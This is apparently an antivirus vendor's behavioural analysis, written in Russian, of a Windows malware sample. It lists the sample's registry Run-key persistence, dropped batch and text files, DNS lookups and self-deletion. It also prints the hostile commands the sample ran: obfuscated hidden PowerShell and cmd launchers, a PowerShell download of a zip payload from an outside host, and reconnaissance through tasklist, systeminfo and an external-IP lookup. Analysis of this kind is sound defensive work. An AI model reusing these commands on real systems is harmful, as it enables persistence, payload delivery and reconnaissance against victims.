Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'svchostno2' = 'C:\Users\Public\Documents\start.vbs'
Вредоносные функции
Создает и запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -windowstyle hidden $dedicte="$loped='247745614C6C5475754C455467507365203D204765742D4C6F636174696F6E3B2442455461507969414A556F203D204765742D4368696C644974656D202D5061746820247745614C6C5475754C4...
- '<SYSTEM32>\wscript.exe' "C:\Users\Public\documents\start.vbs"
Изменения в файловой системе
Создает следующие файлы
- <PATH_SAMPLE>
- C:\users\public\documents\ipinfo.txt
- C:\users\public\documents\cuserdesk.txt
- C:\users\public\documents\cuserdocu.txt
- C:\users\public\documents\cuserdown.txt
- nul
- C:\users\public\Documents\56372524.bat
- C:\users\public\documents\tsklt.txt
- C:\users\public\Documents\03017503.bat
- C:\users\public\Documents\79222915.bat
- C:\users\public\Documents\55976965.bat
- C:\users\public\Documents\93255796.bat
- C:\users\public\Documents\unzip.exe
- C:\users\public\Documents\start.vbs
- C:\users\public\29456.zip
- C:\users\public\Documents\00787480.bat
- C:\users\public\documents\systeminfo.txt
Удаляет следующие файлы
- C:\users\public\29456.zip
Подменяет следующие файлы
- C:\users\public\29456.zip
Самоудаляется.
Сетевая активность
UDP
- DNS ASK re#####r1.opendns.com
- DNS ASK 22#.###.67.208.in-addr.arpa
- DNS ASK my##.#pendns.com
- DNS ASK tt###oud.com
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c C:\Users\Public\documents\93255796.bat' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c UhGBOQmyVAnDiMxhjTQFnRpEYHOtBLpKSWNiMkZRtjmUnYAqruSLGUJBjhMIsqRCKQDTdvhVBeKfRMFruiKyHxZbiPnCcBQWQMAgtdoTFJOJkgbfiolIEahGBxnuglcBoeOGNVCFNDLVtOrfkwKP||goto&p^ow^e^rs^he^l^l -windowstyle hidde...
- '<SYSTEM32>\cmd.exe' /c C:\Users\Public\documents\93255796.bat
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v svchostno2 /t REG_SZ /d "C:\Users\Public\Documents\start.vbs" /f
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "$url = 'https://downwarding.com/v2/read/get.php?vw=ln3&nv=xu6502';$OWRkgVjrhbEIGNpK = 'C:\Users\Public\Documents\10197.zip';iwr -Uri $url -OutFile $OWRkgVjrhbEIGNpK;"
- '<SYSTEM32>\nslookup.exe' myip.opendns.com resolver1.opendns.com
- '<SYSTEM32>\tasklist.exe'
- '<SYSTEM32>\systeminfo.exe'
- '<SYSTEM32>\timeout.exe' -t 5 /nobreak
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "function ESTR{param ([Parameter(Mandatory=$true)] [string]$PlainText,[Parameter(Mandatory=$true)] [string]$Key);$plainBytes = [System.Text.Encoding]::UTF8.GetBytes($PlainText); $ke...
